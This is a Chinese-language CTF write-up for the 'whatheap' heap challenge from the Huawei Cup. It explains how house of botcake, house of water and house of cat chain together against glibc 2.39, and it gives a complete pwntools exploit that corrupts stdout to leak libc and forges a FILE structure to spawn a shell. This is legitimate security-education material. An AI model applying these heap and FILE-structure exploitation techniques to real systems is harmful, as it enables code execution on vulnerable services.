-
-
[原创]华为杯whatheap
-
发表于: 6天前 588
-
一道非常有意思的堆题,glibc 2.39的堆,保护全开,并且只给了add和free,没有show和edit
使用手法:house of water,house of botcake,house of cat
个人比赛中被泄露难倒了没做出来,赛后了解到house of water这个手法后才将其复现出来,不过就算知道house of water个人感觉这道题的堆风水还是很难的因为house of water的利用条件十分苛刻,而题目中只给了double free的原语,本人知道了house of water后在堆风水的布置这一块还是想了很久。
先看题目,典型的菜单堆,只有add和free,show函数是空的,gift给的东西完全没用

free后没有清空指针有double free

add 可以申请最多0xff个chunk,每个chunk最大大小为0x888,申请chunk后会给你机会从自定义的偏移开始写入一共有3次机会
很明显这道题的重点没有办法泄露libc,我们得通过某种手段改掉stdout才能完成泄露,而在高版本中能够在无libc的情况下完成这种任务的就只有house of water了(或许还有别的只是我不知道)
house of water需要一共需要3点条件
- 能够申请大量的chunk,使我们能够构造出大小为
0x10001的fake chunk,这点题目已经满足 - 在unsorted start 上的构造出一个
0x20的chunk,在unsorted end的上方构造出一个0x30的chunk,并将这两个free掉 - 利用UAF篡改unsorted start 和 unsorted end的bk和fd指针的末字节,指向0x10001的fake chunk
关于第二点我们很容易通过house of botcake手法构造堆重叠,通过精心计算将重叠的unsorted chunk分别割出0x30和0x20大小的chunk到unsorted start和unsorted end的头上,但是那块0x20大小chunk会带来问题,可以看到在割完后我们那块重叠的chunk的chunk头在unsorted end的fd和bk的指针域上,而我们的0x20大小的chunk只能覆盖到unsorted end的chunk头,那么此时我们将无法修改unsorted end的指针域,因为由于我们需要构造一个0x20大小的chunk在unsorted end头上,那块重叠的chunk的chunk头将不可避免落到unsorted end的指针域,导致我们无法满足第三点修改unsorted end的指针域
因此我们需要使用两次house of botcake使得unsorted end与两个堆块重叠,其中一个堆块用来构造0x30和0x20大小的chunk,另一个堆块用来修改unsorted end和unsorted start的指针域,具体而言我们通过第一次house of botcake构造出一次堆重叠,此时0x820大小chunk与unsorted bin中chunk构成了重叠
我们再使用这个在unsorted bin中chunk再用一次house of botcake进行第二次堆重叠
构造完成之后如图所示0x5f98f80a56d0(0x821)与0x5f98f80a5b10(0x3e1)重叠,而0x5f98f80a5b10又与0x5f98f80a5d00(0x1f1)重叠重叠,也就是说0x5f98f80a5d00与两个堆块发生了重叠,我们unsorted start, unsorted mid, unsorted mid都要放在0x5f98f80a5d00里面,然后可以使用两个重叠的堆块,一个用来构造0x30和0x20大小的chunk,另一个用来修改unsorted end和unsorted start的指针域
剩下的就是正常的house of water,去修改stdout,泄露完之后打house of cat
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')
io = process("./whatheap")
libc=ELF("./libc.so.6")
def add(size, content):
io.recvuntil(b"Your choice >> ")
io.sendline(b"1")
io.recvuntil("Input the size of your chunk: ")
io.sendline(str(size).encode())
io.recvuntil(b"do you want to play a game ?(1/0)")
io.sendline(b"0")
io.recvuntil(b"Input:")
io.sendline(content)
def add_offset(size, offset, content):
io.recvuntil(b"Your choice >> ")
io.sendline(b"1")
io.recvuntil("Input the size of your chunk: ")
io.sendline(str(size).encode())
io.recvuntil(b"do you want to play a game ?(1/0)")
io.sendline(b"1")
io.recvuntil(b"you can set a offset!")
io.sendline(str(offset))
io.recvuntil(b"Input: ")
io.sendline(content)
def free(index):
io.recvuntil(b"Your choice >> ")
io.sendline(b"2")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
def new_add(size, content):
io.recvuntil(b"Your choice >> ")
io.sendline(b"1")
io.recvuntil("Input the size of your chunk: ")
io.sendline(str(size).encode())
io.recvuntil(b"Input:")
io.sendline(content)
add(0x3d8, b"a") # 0
add(0x3e8, b"a") # 1
free(0)
free(1)
for i in range(7): #1 + 7
add(0x400, b"a")
add(0x400, b"a") # 0x9
add(0x400, b"a") # 0xa
add(0x400, b"a") # 0xb
for i in range(7): #2 + 6
free(i + 2)
free(0xa)
free(0x9)
add(0x400, b"a") # 0xc
free(0xa)
add(0x810, b"a") # 0xd UAF chunk
add(0x400, b"a") # 0xe
free(0xb)
free(0xe)
add(0x20, b"a") # 0xf
add(0x1e0, b"a") # 0x10
add(0x1e0, b"a") # 0x11
for i in range(8): # 0x11 + 8
add(0x1e0, b"a")
for i in range(7):
free(0x12 + i)
free(0x11)
free(0x10)
add(0x1e0, b"a") # 0x1a
free(0x11)
add(0x3d0, b"a") # 0x1b
add(0x3d0, b"a") # 0x1c UAF chunk 2
free(0x1b)
add(0x1e0, b"a") # 0x1d
free(0x1a)
free(0x1d)
add(0x80, b"a") # 0x1e unsorted start
add(0x10, p64(0) * 2) # 0x1f
add(0x80, b"a") # 0x20 unsorted mid
add(0x10, p64(0) * 2) # 0x21
add(0x80, b"a") # 0x22 unsorted end
free(0xd)
add(0x610, b"a") # 0x23
add(0x20, p64(0) + p64(0x91)) # 0x24 0x30 chunk for unsorted start
add(0x120, b"a") # 0x25 corrup chunk for unsorted mid
add(0x10, p64(0) + p64(0x91)) # 0x26 0x20 chunk for unsorted end
add(0x70, b"a") # 0x27 useless
for i in range(0x3d): #padding
add(0x2f0, b"a") #0x27 + 0x3d = 0x64
for i in range(0x7): #padding
add(0x80, b"a") #0x64 + 0x7 = 0x6b
add(0x318, b"\x00" * 0x300 + p64(0x10000) + p64(0x20)) #0x6c
for i in range(0x7):
free(0x65 + i)
free(0x22) # free unsorted end
free(0x20) # free unsorted mid
free(0x1e) # free unsorted start
free(0x24) # free 0x30 chunk for unsorted start
free(0x26) # free 0x20 chunk for unsorted end
free(0x1c) # free UAF chunk 2
#gdb.attach(io)
add(0x3d0,b"\x00" * 0x1d0 + p64(0) + p64(0x31) + p64(0) + p64(0x91) + b"\x80" + b"\x10") # 0x6d # alloc UAF chunk 2
free(0x1c) # free UAF chunk 2 again
add_offset(0x3d0, 0x340, p64(0) + p64(0x91)) # 0x6e # alloc UAF chunk 2
free(0x1c) # free UAF chunk 2 again
add_offset(0x3d0, 0x358, b"\x80" + b"\x10") # 0x6f # alloc UAF chunk 2
#gdb.attach((io))
for i in range(7): # 0x6f + 7 = 0x76
add(0x400, b"a")
#gdb.attach(io)
add(0x500, b"\xc0" + b"\x45") # 0x77
add(0x10, p64(0xFBAD3887))
free(0x77)
add(0x500, p64(0) +b"\xd0" + b"\x45")
#gdb.attach(io)
add_offset(0x20, 0x10, b"\x20" + b"\x3b")
heap_addr = u64(io.recv(8))
io.recv(0x18)
libc_base = u64(io.recv(0x8)) - 0x203b30
print("libc_addr:", hex(libc_base))
print("heap_addr:", hex(heap_addr))
IO_list_all = libc_base + libc.symbols["_IO_list_all"]
system_addr = libc_base + libc.sym["system"]
victim_heap = heap_addr - 0xfdf0
wide_file_jump = libc_base + libc.symbols["_IO_wfile_jumps"] + 0x30
free(0x24)
#gdb.attach(io)
free(0x77)
#gdb.attach(io)
new_add(0x500, p64(0) + p64(IO_list_all))
new_add(0x20, p64(victim_heap))
fake_wide_data_addr = victim_heap + 0x100
fake_file = b"/bin/sh\x00" + p64(0) * 3 + p64(0) + p64(1)
fake_file = fake_file.ljust(0x88, b"\x00") + p64(victim_heap + 0x100)
fake_file = fake_file.ljust(0xa0, b"\x00") + p64(victim_heap + 0x100)
fake_file = fake_file.ljust(0xd8, b"\x00") + p64(wide_file_jump)
fake_file = fake_file.ljust(0x100, b"\x00")
fake_wide_data = p64(0) * 2 + p64(0) + p64(1) + p64(system_addr)
fake_wide_data = fake_wide_data.ljust(0xe0, b"\x00")
fake_wide_data += p64(fake_wide_data_addr + 0x8)
# gdb.attach(io)
new_add(0x3d0, fake_file + fake_wide_data)
io.recvuntil(b"Your choice >> ")
io.sendline(b"5")
io.interactive()
成功拿到shell 